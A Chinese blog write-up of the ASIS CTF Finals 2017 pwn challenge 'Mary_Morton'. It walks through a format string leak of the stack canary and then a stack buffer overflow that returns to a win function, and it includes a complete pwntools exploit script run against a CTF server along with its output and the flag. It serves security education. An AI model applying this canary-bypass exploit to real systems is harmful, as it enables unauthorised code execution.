ASIS-CTF-Finals-2017 pwn Mary_Morton Writeup

原创

tuck3r 于 2019-09-03 16:22:30 发布 391 收藏 2
分类专栏： pwn CTF 栈溢出利用 文章标签： ctf ASIS-CTF-Finals-2017 pwn writeup

本文链接：https://blog.csdn.net/qq_39596232/article/details/100520671

题目描述：

ASIS-CTF-Finals-2017 非常简单的热身pwn

分析思路：

1、首先查看文件的安全信息：

```
tucker@ubuntu:~/xman/pwn$ file Mary_Morton
Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l,
tucker@ubuntu:~/xman/pwn$ checksec Mary_Morton
[*] '/home/tucker/xman/pwn/Mary_Morton'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

我们看到ELF文件开启了canary保护。

2.使用IDA查看：

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      print_info();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      format_string_bug();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      stack_overflow();
    else
      puts("Wrong!");
  }
}
```

我们看到，有两个可以利用的漏洞，具体如下：

```
unsigned __int64 format_string_bug()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}
```

```
unsigned __int64 stack_overflow()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(0x28u) ^ v2;
}
```

但是因为启用了canary保护，给我们造成了一定的困扰，在汇编代码中我们可以看到，所谓的canary，就是比较rbp-0x8和fs:[28h]处的数据，如果不相等，则转去异常处理。同时我们又发现，在两个可溢出的函数中，canary是一样的。因此我们可以使用其中一个溢出函数打印出canary的值，然后用这个值去填充另一个可以溢出的缓冲区，就可以绕过检查。

3、首先我们需要找到canary距离我们的buf缓冲区的偏移量。

```
tucker@ubuntu:~/xman/pwn$ ./Mary_Morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaa_0x7ffc7cff7270_0x7f_0x7f26ca00a081_(nil)_(nil)_0x5f70255f61616161_0x70255f70255f7025_0x255f70255f70255
```

我们看到，偏移量为6。又因为buf位置为rbp-0x90, canary为0x8,相差0x88, 且8bytes为一个单位，即0x88 / 8 = 0x11 = 17, 17 + 6 = 23，因此偏移量为23,所以我们就可以使用%23$p来打印出canary的地址。

4、由此我们可以写出exp：

```
# Mary_Morton.py

from pwn import *

sh = process('./Mary_Morton')
sh = remote('111.198.29.45', '42342')

sh.sendline('2')
sh.sendline("%23$p")
sh.recvuntil('0x')
canary = int(sh.recv(16), 16)
print hex(canary)

addr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + p64(61) + p64(addr)

sh.sendline('1')
sh.sendline(payload)

sh.interactive()
```

即可得到flag：

```
tucker@ubuntu:~/xman/pwn$ python Mary_Morton.py
[+] Starting local process './Mary_Morton': pid 33483
[+] Opening connection to 111.198.29.45 on port 42342: Done
0x684666ef45e35300
[*] Switching to interactive mode

1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
-> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{e5a06ac649a26b9b72f38eee318ad00e}
[*] Got EOF while reading in interactive
$
```